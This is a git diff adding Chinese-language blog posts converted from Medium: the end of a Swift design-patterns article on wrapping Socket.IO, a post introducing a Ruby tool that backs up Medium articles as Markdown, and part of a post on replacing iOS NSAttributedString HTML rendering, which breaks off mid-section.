方法避免發生上述 這個節點接下來處理了,但做完又想呼叫後面的節點繼續執行的狀況、 `handle` 為鍊的節點串連、 `excute` 為要處理的話會怎麼處理的邏輯。 +`ConnectionKeeperHandlerContext` 用來存放會用到的資料, `isOccupie` 代表 Connection 有無人在使用。 + +```swift +enum ConnectionState { + case created + case connected + case disconnected + case reconnecting + case released +} + +protocol Connection { + var connectionState: ConnectionState {get} + var url: URL {get} + var id: UUID {get} + + init(url: URL) + + func connect() + func reconnect() + func disconnect() + + func sendEvent(_ event: String) + func onEvent(_ event: String) -> AnyPublisher +} + +// Socket.IO Implementation +class SIOConnection: Connection { + let connectionState: ConnectionState = .created + let url: URL + let id: UUID = UUID() + + required init(url: URL) { + self.url = url + // + } + + func connect() { + // + } + + func disconnect() { + // + } + + func reconnect() { + // + } + + func sendEvent(_ event: String) { + // + } + + func onEvent(_ event: String) -> AnyPublisher { + // + return PassthroughSubject().eraseToAnyPublisher() + } +} + +// + +struct ConnectionKeeperHandlerContext { + let connection: Connection + let isOccupie: Bool +} + +protocol ConnectionKeeperHandler { + var nextHandler: ConnectionKeeperHandler? { get set } + + func handle(context: ConnectionKeeperHandlerContext) + func execute(context: ConnectionKeeperHandlerContext) + func canExcute(context: ConnectionKeeperHandlerContext) -> Bool +} + +extension ConnectionKeeperHandler { + func handle(context: ConnectionKeeperHandlerContext) { + if canExcute(context: context) { + execute(context: context) + } else { + nextHandler?.handle(context: context) + } + } +} + +class DisconnectedConnectionKeeperHandler: ConnectionKeeperHandler { + var nextHandler: ConnectionKeeperHandler? + + func execute(context: ConnectionKeeperHandlerContext) { + context.connection.disconnect() + } + + func canExcute(context: ConnectionKeeperHandlerContext) -> Bool { + if context.connection.connectionState == .connected && !context.isOccupie { + return true + } + return false + } +} + +class ReconnectConnectionKeeperHandler: ConnectionKeeperHandler { + var nextHandler: ConnectionKeeperHandler? + + func execute(context: ConnectionKeeperHandlerContext) { + context.connection.reconnect() + } + + func canExcute(context: ConnectionKeeperHandlerContext) -> Bool { + if context.connection.connectionState == .disconnected && context.isOccupie { + return true + } + return false + } +} + +class ReleasedConnectionKeeperHandler: ConnectionKeeperHandler { + var nextHandler: ConnectionKeeperHandler? + + func execute(context: ConnectionKeeperHandlerContext) { + context.connection.disconnect() + } + + func canExcute(context: ConnectionKeeperHandlerContext) -> Bool { + if context.connection.connectionState == .disconnected && !context.isOccupie { + return true + } + return false + } +} +let connection = SIOConnection(url: URL(string: "wss://pinkoi.com")!) +let disconnectedHandler = DisconnectedConnectionKeeperHandler() +let reconnectHandler = ReconnectConnectionKeeperHandler() +let releasedHandler = ReleasedConnectionKeeperHandler() +disconnectedHandler.nextHandler = reconnectHandler +reconnectHandler.nextHandler = releasedHandler + +disconnectedHandler.handle(context: ConnectionKeeperHandlerContext(connection: connection, isOccupie: false)) +``` +### 需求場景 4\. +#### What? + +我們封裝出的 `Connection` 需要經過 setup 後才能使用,例如給予 URL Path、設定 Config…等等 +#### Why? +- 可以彈性的增減構建開口 +- 可複用構建邏輯 +- 未封裝的話,外部可以不照預期操作類別 +- e\.g\.: + +``` +❌ +let connection = Connection() +connection.send(event) // unexpected method call, should call .connect() first +✅ +let connection = Connection() +connection.connect() +connection.send(event) +// but...who knows??? +``` +#### How? +- [Builder Pattern](https://refactoring.guru/design-patterns/builder){:target="_blank"} :創建型 Pattern,能夠分步驟構建對象及複用構建方法。 + + + +![](/assets/78507a8de6a5/1*J5eKaks1-fT6u8FojeUkUQ.png) + +- **Builder Pattern:** `SIOConnectionBuilder` 為 `Connection` 的構建器,負責設定、存放構建 `Connection` 時會用到的資料; `ConnectionConfiguration` 抽象介面用來保證要使用 `Connection` 前必須呼叫 `.connect()` 才能拿到 `Connection` 實體。 + +```swift +enum ConnectionState { + case created + case connected + case disconnected + case reconnecting + case released +} + +protocol Connection { + var connectionState: ConnectionState {get} + var url: URL {get} + var id: UUID {get} + + init(url: URL) + + func connect() + func reconnect() + func disconnect() + + func sendEvent(_ event: String) + func onEvent(_ event: String) -> AnyPublisher +} + +// Socket.IO Implementation +class SIOConnection: Connection { + let connectionState: ConnectionState = .created + let url: URL + let id: UUID = UUID() + + required init(url: URL) { + self.url = url + // + } + + func connect() { + // + } + + func disconnect() { + // + } + + func reconnect() { + // + } + + func sendEvent(_ event: String) { + // + } + + func onEvent(_ event: String) -> AnyPublisher { + // + return PassthroughSubject().eraseToAnyPublisher() + } +} + +// +class SIOConnectionClient: ConnectionConfiguration { + private let url: URL + private let config: [String: Any] + + init(url: URL, config: [String: Any]) { + self.url = url + self.config = config + } + + func connect() -> Connection { + // set config + return SIOConnection(url: url) + } +} + +protocol ConnectionConfiguration { + func connect() -> Connection +} + +class SIOConnectionBuilder { + private(set) var config: [String: Any] = [:] + + func setConfig(_ config: [String: Any]) -> SIOConnectionBuilder { + self.config = config + return self + } + + // url is required parameter + func build(url: URL) -> ConnectionConfiguration { + return SIOConnectionClient(url: url, config: self.config) + } +} + +let builder = SIOConnectionBuilder().setConfig(["test":123]) + + +let connection1 = builder.build(url: URL(string: "wss://pinkoi.com/1")!).connect() +let connection2 = builder.build(url: URL(string: "wss://pinkoi.com/1")!).connect() +``` + +延伸:這裏也可以再套用 [Factory Pattern](https://refactoring.guru/design-patterns/factory-method){:target="_blank"} ,將用工廠產出 `SIOConnection` 。 +### 完結\! + +以上就是本次封裝 Socket\.IO 中遇到的四個場景及七個使用到解決問題的 Design Patterns。 +#### 最後附上此次封裝 Socket\.IO 的完整設計藍圖 + + +![](/assets/78507a8de6a5/1*DMfFpmF7aVCIIM1dskn97w.jpeg) + + +與文中命名、示範略為不同,這張圖才是真實的設計架構;有機會再請原設計者分享設計理念及開源。 +### Who? + +誰做了這些設計跟負責 Socket\.IO 封裝專案呢? +#### [Sean Zheng](https://www.linkedin.com/in/%E5%AE%87%E7%BF%94-%E9%84%AD-9b3409175/){:target="_blank"} , Android Engineer @ Pinkoi + + +![](/assets/78507a8de6a5/1*Q_35023LtcZbOtnfvSxv-A.jpeg) + + +主要架構設計者、Design Pattern 評估套用、在 Android 端使用 Kotlin 實現設計。 +#### [ZhgChgLi](https://www.linkedin.com/in/zhgchgli/){:target="_blank"} , Enginner Lead/iOS Enginner @ Pinkoi + + +![](/assets/78507a8de6a5/1*1NCE3Q7fO5Mh15NT2xoYlA.png) + + +Platform Team 專案負責人、Pair programming、在 iOS 端使用 Swift 實現設計、討論並提出質疑\(a\.k\.a\. 出一張嘴\)及最後撰寫本文與大家分享。 +### 延伸閱讀 +- [Visitor Pattern in Swift](../ba5773a7bfea/) + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/pinkoi-engineering/%E5%AF%A6%E6%88%B0%E7%B4%80%E9%8C%84-4-%E5%80%8B%E5%A0%B4%E6%99%AF-7-%E5%80%8B-design-patterns-78507a8de6a5){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-05-28-ddd88a84e177.md b/_posts/zmediumtomarkdown/2022-05-28-ddd88a84e177.md new file mode 100644 index 000000000..faa1f8b73 --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-05-28-ddd88a84e177.md @@ -0,0 +1,222 @@ +--- +title: "Converting Medium Posts to Markdown" +author: "ZhgChgLi" +date: 2022-05-28T07:04:35.424+0000 +last_modified_at: 2024-04-14T02:04:46.187+0000 +categories: "ZRealm Dev." +tags: ["medium","markdown","backup","ruby","automation"] +description: "撰寫小工具將 Medium 心血文章備份下來 & 轉換成 Markdown 格式" +image: + path: /assets/ddd88a84e177/1*neA7oRVPqHxs6XqtZTKmDg.jpeg +render_with_liquid: false +--- + +### Converting Medium Posts to Markdown + +撰寫小工具將 Medium 心血文章備份下來 & 轉換成 Markdown 格式 + + + +![[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}](/assets/ddd88a84e177/1*neA7oRVPqHxs6XqtZTKmDg.jpeg) + +[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} +### \[EN\] [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} + +I’ve written a project to let you download Medium post and convert it to markdown format easily\. +#### Features +- Support download post and convert to markdown format +- Support download all posts and convert to markdown format from any user without login access\. +- Support download paid content +- Support download all of post’s images to local and convert to local path +- Support parse Twitter tweet content to blockquote +- Support download paid content +- Support command line interface +- Convert [Gist](https://gist.github.com/){:target="_blank"} source code to markdown code block +- Convert youtube link which embed in post to preview image +- Adjust post’s last modification date from Medium to the local downloaded markdown file +- Auto skip when post has been downloaded and last modification date from Medium doesn’t changed \(convenient for auto\-sync or auto\-backup service, to save server’s bandwidth and execution time\) +- [Support using Github Action as auto sync/backup service](https://github.com/ZhgChgLi/ZMediumToMarkdown/tree/main#using-github-action-as-your-free-auto-syncbackup-service){:target="_blank"} +- Highly optimized markdown format for Medium +- Native Markdown Style Render Engine \(Feel free to contribute if you any optimize idea\! `MarkupStyleRender.rb` \) +- [jekyll](https://jekyllrb.com/){:target="_blank"} & social share \(og: tag\) friendly +- 100% Ruby @ [RubyGem](https://rubygems.org/gems/ZMediumToMarkdown){:target="_blank"} + + + +[![](https://repository-images.githubusercontent.com/493527574/9b5b7025-cc95-4e81-84a9-b38706093c27)](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} + +### \[CH\] [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} + +可針對 Medium 文章連結、Medium 使用者的所有文章,爬取其內容並轉換成 Markdwon 格式連同文章內圖片一同下載下來的備份小工具。 +#### \[2022/07/18 Update\]: [手把手教你無痛轉移 Medium 到自架網站](../a0c08d579ab1/) +#### 特色功能 +- 免登入、免特殊權限 +- 支援單篇文章、使用者所有文章下載並轉換成 Markdown +- 支援下載備份文章內的所有圖片並轉換成對應圖片路徑 +- 支援深度解析內嵌於文章中的 [Gist](https://gist.github.com/){:target="_blank"} 並轉換成相對語言的 Markdown Code Block +- 支援解析 Twitter 內容並轉貼到文章中 +- 支援解析內嵌於文章中的 Youtube 影片,將轉換成影片預覽圖及連結顯示於 Markdown +- 使用者所有文章下載時會去掃描文章內有無嵌入關聯文章,有的話會將連結替換為本地 +- 針對 Medium 格式樣式特別優化 +- 自動將下載下來文章的最後修改/建立時間,更改為同 Medium 文章發佈時間 +- 自動比對下載下來的文章最後修改,如果沒有小於 Medium 文章最後修改時間時則自動跳過 +\(方便大家使用此工具建立自動 Sync/Backup 工具,此機制能節省 server 流量/時間\) +- CLI 操作,支援自動化 + + + +[![](https://repository-images.githubusercontent.com/493527574/9b5b7025-cc95-4e81-84a9-b38706093c27)](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} + + + +> **_本項目及本篇文章僅供技術研究,請勿用於任何商業用途,請勿用於非法用途,如有任何人憑此做何非法事情,均於作者無關,特此聲明。_** + + +> **_請確認您有文章使用、著作權再行下載備份。_** + + + + +### 起源 + +經營 Medium 第三年,已累積發表超過 65 篇文章;所有文章都是我直接使用 Medium 平台撰寫,沒有其他備份;老實說一直很怕 Medium 平台有狀況或是其他因素導致這幾年的心血結晶消失。 + +之前曾經手動備份過,非常無聊且浪費時間,所以一直在找尋一個可以自動把所有文章備份下載下來的工具、最好還能轉換成 Markdown 格式。 +### 備份需求 +- Markdown 格式 +- 依照 User 能自動下載該 User 的所有 Medium Posts +- 文章圖片也要能被下載備份下來 +- 要能 Parse Gist 成 Markdown Code Block +\(我的 Medium 大量使用 gist 嵌入 Source Code 所以這個功能很重要\) + +### 備份方案 +#### Medium 官方 + +官方雖然有提供匯出備份功能,但匯出格式僅能用於匯入 Medum、非 Markdown 或共通格式,而且不會處理 [Github Gitst](https://gist.github.com/){:target="_blank"} …等等 Embed 的內容。 + +Medium 提供的 [API](https://github.com/Medium/medium-api-docs){:target="_blank"} 沒什麼在維護且只提供 Create Post 功能。 + + +> **_合理,因為 Medium 官方不希望使用者能輕易地將內容轉移至其他平台。_** + + + + +#### Chrome Extension + +有找到試用了幾個 Chrome Extension \(幾乎都被下架了\),效果不好,一是要手動一篇文章一篇文章點進去備份、二是 Parse 出來的格式很多錯誤而且也無法深度 Parse Gist Source Code 出來、也無法備份文章的所有圖片下來。 +#### [medium\-to\-markdown command line](https://www.npmjs.com/package/medium-to-markdown){:target="_blank"} + +某位大神用 js 寫的,能達成基本的下載及轉換成 Markdown 功能,但一樣沒圖片備份、深度 Parse Gist Source Code。 +#### [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} + +苦無完美解決方案後,下定決心自行撰寫一個備份轉換工具;花費了大約三週的下班時間使用 Ruby 完成。 +#### 技術細節 + +**如何透過輸入使用者名稱得到文章列表?** + +1\.取得 UserID:檢視使用者主頁\(https://medium\.com/@\# \{username\} \) 原始碼可以找到 `Username` 對應的 `UserID` +[這邊要注意因為 Meidum 重新開放自訂網域](../d9a95d4224ea/) 所以要多處理 30X 轉址 + +2\.嗅探網路請求可以發現 Medium 使用 GraphQL 去取得主頁的文章列表資訊 + +3\.複製 Query & 替換 UserID 到請求資訊 +``` +HOST: https://medium.com/_/graphql +METHOD: POST +``` + +4\.取得 Response + +每次只能拿 10 筆,要分頁拿取。 +- 文章列表:可以在 `result[0]->userResult->homepagePostsConnection->posts` 中取得 +- `homepagePostsFrom` 分頁資訊 :可以在 `result[0]->userResult->homepagePostsConnection->pagingInfo->next` 中取得 +將 `homepagePostsFrom` 帶入請求即可進行分頁存取, `nil` 時代表已沒有下一頁 + + +**如何剖析文章內容?** + +檢視文章原始碼後可發現,Medium 是使用 [Apollo Client](https://www.apollographql.com/docs/react/){:target="_blank"} 服務進行架設;其端 HTML 實際是從 JS 渲染而來;因此可以再檢視原始碼中的 <script> 區段找到 `window.__APOLLO_STATE__` 字段,內容就是整篇文章的段落架構,Medium 會把你整篇文章拆成一句一句的段落,再透過 JS 引擎渲染回 HTML。 + + +![](/assets/ddd88a84e177/1*mH8iq7W-pJZrMBPpEyN6Zw.png) + + +我們要做的事也一樣,解析這個 JSON,比對 Type 在 Markdown 的樣式,組合出 Markdown 格式。 +#### 技術難點 + +這邊有一個技術困難點就是在渲染段落文字樣式時,Medium 給的結構如下: +```json +"Paragraph": { + "text": "code in text, and link in text, and ZhgChgLi, and bold, and I, only i", + "markups": [ + { + "type": "CODE", + "start": 5, + "end": 7 + }, + { + "start": 18, + "end": 22, + "href": "http://zhgchg.li", + "type": "LINK" + }, + { + "type": "STRONG", + "start": 50, + "end": 63 + }, + { + "type": "EM", + "start": 55, + "end": 69 + } + ] +} +``` + +意思是 `code in text, and link in text, and ZhgChgLi, and bold, and I, only i` 這段文字的: +``` +- 第 5 到第 7 字元要標示為 程式碼 (用`Text`格式包裝) +- 第 18 到第 22 字元要標示為 連結 (用[Text](URL)格式包裝) +- 第 50 到第 63 字元要標示為 粗體(用*Text*格式包裝) +- 第 55 到第 69 字元要標示為 斜體(用_Text_格式包裝) +``` + +第 5 到 7 & 18 到 22 在這個例子裡好處理,因為沒有交錯到;但 50–63 & 55–69 會有交錯問題,Markdown 無法用以下交錯方式表示: +```markdown +code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, **only i_ +``` + +正確的組合結果如下: +```markdown +code `in` text, and [ink](http://zhgchg.li) in text, and ZhgChgLi, and **bold,_ and I, _**_only i_ +``` + +50–55 STRONG 55–63 STRONG, EM 63–69 EM + +另外要需注意: +- 包裝格式的字串頭跟尾要能區別,Strong 只是剛好頭跟尾都是 `**` ,如果是 Link 頭會是 `[` 尾則是 `](URL)` +- Markdown 符號與字串結合時要注意前後不能有空白,否則會失效 + + +[完整問題請看此。](https://gist.github.com/zhgchgli0718/e8a91e81053563bd9f40da9c780fd2f6){:target="_blank"} + +這塊研究了好久,目前先使用現成套件解決 [reverse\_markdown](https://github.com/xijo/reverse_markdown){:target="_blank"} 。 + + +> **_特別感謝前同事 [Nick](https://medium.com/u/d713969ca7ed){:target="_blank"} , [Chun\-Hsiu Liu](https://medium.com/u/72361fccaa43){:target="_blank"}_** _,James **協力研究,之後有時間再自己寫改成原生的。**_ + + + + +### 成果 + +[原文](../78507a8de6a5/) \-> [轉換後的 Markdown 結果](https://github.com/ZhgChgLi/ZMediumToMarkdown/blob/main/example/2021-01-31-avplayer-%E5%AF%A6%E8%B8%90%E6%9C%AC%E5%9C%B0-cache-%E5%8A%9F%E8%83%BD%E5%A4%A7%E5%85%A8-6ce488898003.md){:target="_blank"} + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/converting-medium-posts-to-markdown-ddd88a84e177){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-06-09-a8c2d26cc734.md b/_posts/zmediumtomarkdown/2022-06-09-a8c2d26cc734.md new file mode 100644 index 000000000..b92ac3fda --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-06-09-a8c2d26cc734.md @@ -0,0 +1,821 @@ +--- +title: "自行實現 iOS NSAttributedString HTML Render" +author: "ZhgChgLi" +date: 2022-06-09T16:11:59.122+0000 +last_modified_at: 2024-04-14T02:07:40.904+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","nsattributedstring","html-parsing","html","markdown"] +description: "iOS NSAttributedString DocumentType.html 的替代方案" +image: + path: /assets/a8c2d26cc734/1*l93Ay_tGXTRvwS7ofgt5og.jpeg +render_with_liquid: false +--- + +### 自行實現 iOS NSAttributedString HTML Render + +iOS NSAttributedString DocumentType\.html 的替代方案 + + + +![Photo by [Florian Olivo](https://unsplash.com/@florianolv?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/a8c2d26cc734/1*l93Ay_tGXTRvwS7ofgt5og.jpeg) + +Photo by [Florian Olivo](https://unsplash.com/@florianolv?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### \[TL;DR\] 2023/03/12 + +重新使用其他方式開發了 _「 [**ZMarkupParser HTML String 轉換 NSAttributedString 工具**](../a5643de271e4/) 」_ ,技術細節及開發故事請前往「 [手工打造 HTML 解析器的那些事](../2724f02f6e7/) 」 +### 起源 + +從去年 iOS 15 發佈以來,App 始終被一項 Crash 問題長年霸榜,從數據來看,近 90 天 \(2022/03/11~2022/06/08\) 一共造成 2\.4K\+ 次閃退、影響 1\.4K\+ 位使用者。 + + +![](/assets/a8c2d26cc734/1*r--z0J1P6t5ECfVyb5_OxQ.png) + + + +> 此大量閃退問題從數據上看,官方應該已在 iOS ≥ 15\.2 後續的版本修復\(或減少發生機率\),數據已呈現趨勢下降。 + + + + + +**最大宗受影響版本:** iOS 15\.0\.X ~ iOS 15\.X\.X + +另外有發現 iOS 12、iOS 13 也有零星閃退數,所以此問題應該已存在許久,只是 iOS 15 前幾版發生的機率幾乎是 100%。 +#### 閃退原因: + + +![](/assets/a8c2d26cc734/1*vKmvralAmDrhWrXYLHpspw.png) + +``` + line 2147483647 specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:) +``` + +NSAttributedString 在 init 時發生 `Crashed: com.apple.main-thread EXC_BREAKPOINT 0x00000001de9d4e44` 閃退問題。 + + +> 亦有可能是操作的地方不在 Main Thread\. + + + + +#### 重現方式: + +此問題大量橫空出世時,讓開發團隊想破腦袋;複測 Crash Log 上的點都沒問題,不清楚使用者是在什麼情況下發生的;直到有一次因緣巧合下我剛好切換成「省電模式」然後就觸發問題了\! \! **WTF \! \! \!** + + +![](/assets/a8c2d26cc734/1*gVfmnCN7QcHO90Y7HyntbA.gif) + +### 解答 + +經過一番搜索發現網路上有許多相同案例,也從 App Developer Forums 找到最早的相同 [閃退問題提問](https://developer.apple.com/forums/thread/115405){:target="_blank"} ,並獲得來自 **官方** 的回答: + + +![](/assets/a8c2d26cc734/1*XmZuJf4Rtk4chiBx8_yMXw.png) + +- 這是已知的 iOS Foundation Bug:自 iOS 12 就已存在 +- 如要渲染複雜的、無使用上約束的 HTML:請使用 WKWebView +- **有渲染約束:可自行撰寫 HTML Parser & Render** +- 直接使用 Markdown 做為渲染約束:iOS ≥ 15 NSAttributedString 可 [直接使用 Markdown 格式渲染文字](https://developer.apple.com/documentation/foundation/nsattributedstring/3796598-init){:target="_blank"} + + + +> **渲染約束** 的意思是限定 App 端能支援的渲染格式,例如只支援 **粗體** 、斜體、 [超連結](https://zhgchg.li){:target="_blank"} 。 + + + + +#### 補充\. 渲染複雜的 HTML — 想製作文饒圖效果 + +可與後端共同協調ㄧ個介面: +```json +{ + "content":[ + {"type":"text","value":"第1段純文字"}, + {"type":"text","value":"第2段純文字"}, + {"type":"text","value":"第3段純文字"}, + {"type":"text","value":"第4段純文字"}, + {"type":"image","src":"https://zhgchg.li/logo.png","title":"ZhgChgLi"}, + {"type":"text","value":"第5段純文字"} + ] +} +``` + +可與 Markdown 組合加上支援文字渲染,或參考 Medium 做法: +```json +"Paragraph": { + "text": "code in text, and link in text, and ZhgChgLi, and bold, and I, only i", + "markups": [ + { + "type": "CODE", + "start": 5, + "end": 7 + }, + { + "start": 18, + "end": 22, + "href": "http://zhgchg.li", + "type": "LINK" + }, + { + "type": "STRONG", + "start": 50, + "end": 63 + }, + { + "type": "EM", + "start": 55, + "end": 69 + } + ] +} +``` + +意思是 `code in text, and link in text, and ZhgChgLi, and bold, and I, only i` 這段文字的: +``` +- 第 5 到第 7 字元要標示為 程式碼 (用`Text`格式包裝) +- 第 18 到第 22 字元要標示為 連結 (用[Text](URL)格式包裝) +- 第 50 到第 63 字元要標示為 粗體(用*Text*格式包裝) +- 第 55 到第 69 字元要標示為 斜體(用_Text_格式包裝) +``` + +有規範&可描述的結構後,App 就能自行使用原生方式渲染,達到效能、使用體驗最佳化。 + + +> UITextView 做文饒圖的坑,可參考我之前的文章: [iOS UITextView 文繞圖編輯器 \(Swift\)](../e37d66ea1146/) + + + + +### Why? + +在實踐解答之前我們先回歸探究問題本身,個人認為這個問題主因並非來自 Apple,官方的 Bug 只是這個問題的引爆點。 + +問題主要來自 **App 端被當成 Web 來進行渲染** ,優點是 Web 開發快速,同個 API Endpoint 可以不用區分 Client 都給 HTML、可以彈性渲染任何想呈現的內容;缺點是 HTML 並非 App 的常見接口、不能期望 App Engineer 懂 HTML、 **效能極差** 、只能在 Main Thread、開發階段無法預期結果、無法確認支援規格。 + +再往上找問題,多半是原始需求無法確定、不能確定 App 需要支援哪些規格、為了求快,才導致直接使用 HTML 做為 App 與 Web 的接口。 +#### **效能極差** + +補充效能部分,實測直接使用 `NSAttributedString DocumentType.html` 與自行實現渲染的方式有 5~20 倍的速度差距。 +#### Better + +既然是 App 要用,更好的做法要以 App 開發方式為出發點,對 App 來說需求的調整成本比 Web 高很多;有效的 App 開發應該要基於有規格的迭代調整,當下需要確定能支援的規格,之後如果要改我們就安排時間擴充規格,無法快速的想改就改,可以減少溝通成本、增加工作效率。 +- 確認需求範圍 +- 確認支援的規格 +- 確認接口規範 \(Markdown/BBCode/…要繼續用 HTML 也行,但要是有約束的,例如只用 `///` ,要在程式 **明確告知** 開發者\) +- 自行實現渲染機制 +- 維護、迭代支援規格 + +### \[2023/02/27 Updated\] \[TL;DR\]: + +已更新做法,不使用 XMLParser,因容錯率為 0 : + +`
` / `` / `BoldBold+ItalicItalic` +以上三種有可能出現的情境 XMLParser 解析都會出錯直接 Throw Error 顯示空白。 +使用 XMLParser,HTML 字串必須完全符合 XML 規則,無法像瀏覽器或 NSAttributedString\.DocumentType\.html 容錯正常顯示。 + + +[![](https://miro.medium.com/v2/resize:fit:1200/1*A0yXupXW9-F9ZWe4gp2ObA.jpeg)](https://medium.com/zrealm-ios-dev/zmarkupparser-html-string-%E8%BD%89%E6%8F%9B-nsattributedstring-%E5%B7%A5%E5%85%B7-a5643de271e4){:target="_blank"} + + +改使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性\(修正沒有 end 的 tag & 錯位 tag\),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。 + +— — +### How? + +木已成舟,回歸正題,目前已用 HTML 在渲染 `NSAttributedString` 那我們該如何解決上述的閃退還有效能問題呢? +#### Inspired by + + +[![](https://opengraph.githubassets.com/7e71c0eb7d2a88f00a77cb8e0181081b88683ab2d359221336aa9776a4cd097d/malcommac/SwiftRichString)](https://github.com/malcommac/SwiftRichString){:target="_blank"} + +### Strip HTML 去除 HTML + +在談 HTML Render 之前先談 Strip HTML,還是再提一次前文 `Why?` 章節所說的,App 哪裡會拿到 HTML、會拿到哪些 HTML 應該要在規格協定好;而不是 App 這邊「 **可能** 」會拿到 HTML,需要 Strip 掉。 + + +> 套句之前主管的名言:這樣太瘋了吧? + + + + +#### Option 1\. NSAttributedString +```swift +let data = "
Text
".data(using: .unicode)! +let attributed = try NSAttributedString(data: data, options: [.documentType: NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue], documentAttributes: nil) +let string = attributed.string +``` +- 使用 NSAttributedString Render HTML 然後再取 string 出來就會是乾淨的 String 了 +- 問題同本章問題,iOS 15 容易閃退、效能不好、只能在 Main Thread 操作 + +#### Option 2\. Regex +```swift +htmlString = "
Test
" +htmlString.replacingOccurrences(of: "<[^>]+>", with: "", options: .regularExpression, range: nil) +``` +- 最簡單有效的方式 +- Regex 並不能保證完全正確 e\.g `

Paragraph

` 是合法的 HTML 但會 Strip 錯誤 + +#### Option 3\. XMLParser + +參考 [SwiftRichString](https://github.com/malcommac/SwiftRichString){:target="_blank"} 的做法,使用 Foundation 中的 **[XMLParser](https://developer.apple.com/documentation/foundation/xmlparser){:target="_blank"}** 將 HTML 做為 XML 解析自行實現 HTML Parser & Strip 功能。 +```swift +import UIKit +// Ref: https://github.com/malcommac/SwiftRichString +final class HTMLStripper: NSObject, XMLParserDelegate { + + private static let topTag = "source" + private var xmlParser: XMLParser + + private(set) var storedString: String + + // The XML parser sometimes splits strings, which can break localization-sensitive + // string transforms. Work around this by using the currentString variable to + // accumulate partial strings, and then reading them back out as a single string + // when the current element ends, or when a new one is started. + private var currentString: String? + + // MARK: - Initialization + + init(string: String) throws { + let xmlString = HTMLStripper.escapeWithUnicodeEntities(string) + let xml = "<\(HTMLStripper.topTag)>\(xmlString)" + guard let data = xml.data(using: String.Encoding.utf8) else { + throw XMLParserInitError("Unable to convert to UTF8") + } + + self.xmlParser = XMLParser(data: data) + self.storedString = "" + + super.init() + + xmlParser.shouldProcessNamespaces = false + xmlParser.shouldReportNamespacePrefixes = false + xmlParser.shouldResolveExternalEntities = false + xmlParser.delegate = self + } + + /// Parse and generate attributed string. + func parse() throws -> String { + guard xmlParser.parse() else { + let line = xmlParser.lineNumber + let shiftColumn = (line == 1) + let shiftSize = HTMLStripper.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2 + let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0) + + throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column) + } + + return storedString + } + + // MARK: XMLParserDelegate + + @objc func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) { + foundNewString() + } + + @objc func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) { + foundNewString() + } + + @objc func parser(_ parser: XMLParser, foundCharacters string: String) { + currentString = (currentString ?? "").appending(string) + } + + // MARK: Support Private Methods + + func foundNewString() { + if let currentString = currentString { + storedString.append(currentString) + self.currentString = nil + } + } + + // handle html entity / html hex + // Perform string escaping to replace all characters which is not supported by NSXMLParser + // into the specified encoding with decimal entity. + // For example if your string contains '&' character parser will break the style. + // This option is active by default. + // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift + static func escapeWithUnicodeEntities(_ string: String) -> String { + guard let escapeAmpRegExp = try? NSRegularExpression(pattern: "&(?!(#[0-9]{2,4}|[A-z]{2,6});)", options: NSRegularExpression.Options(rawValue: 0)) else { + return string + } + + let range = NSRange(location: 0, length: string.count) + return escapeAmpRegExp.stringByReplacingMatches(in: string, + options: NSRegularExpression.MatchingOptions(rawValue: 0), + range: range, + withTemplate: "&") + } +} + + +let test = "我
同意提供身分證字號/護照/居留證號碼,以供跨境物流方通關使用,並已了解跨境
商品之物

流需

求" + +let stripper = try HTMLStripper(string: test) +print(try! stripper.parse()) + +// 我同意提供個人身分證 字號/護照/居留證號碼,以供跨境物流方通關使用,並已了解跨境商品之物流需求 +``` + +使用 Foundation XML Parser 去處理 String,實現 `XMLParserDelegate` 用 `currentString` 存放 String,因 String 有時會拆成多個 String 所以 `foundCharacters` 是有機會被重複呼叫的, `didStartElement` 、 `didEndElement` 找到字串開始時、結束時,將當前結果存下並清空 `currentString` 。 +- 優點是會連帶轉換 HTML Entity to 實際字元 e\.g\. `g -> g` +- 優點是實現複雜、遇到不合規格的 HTML 會 XMLParser 失敗 e\.g\. `
忘了寫成
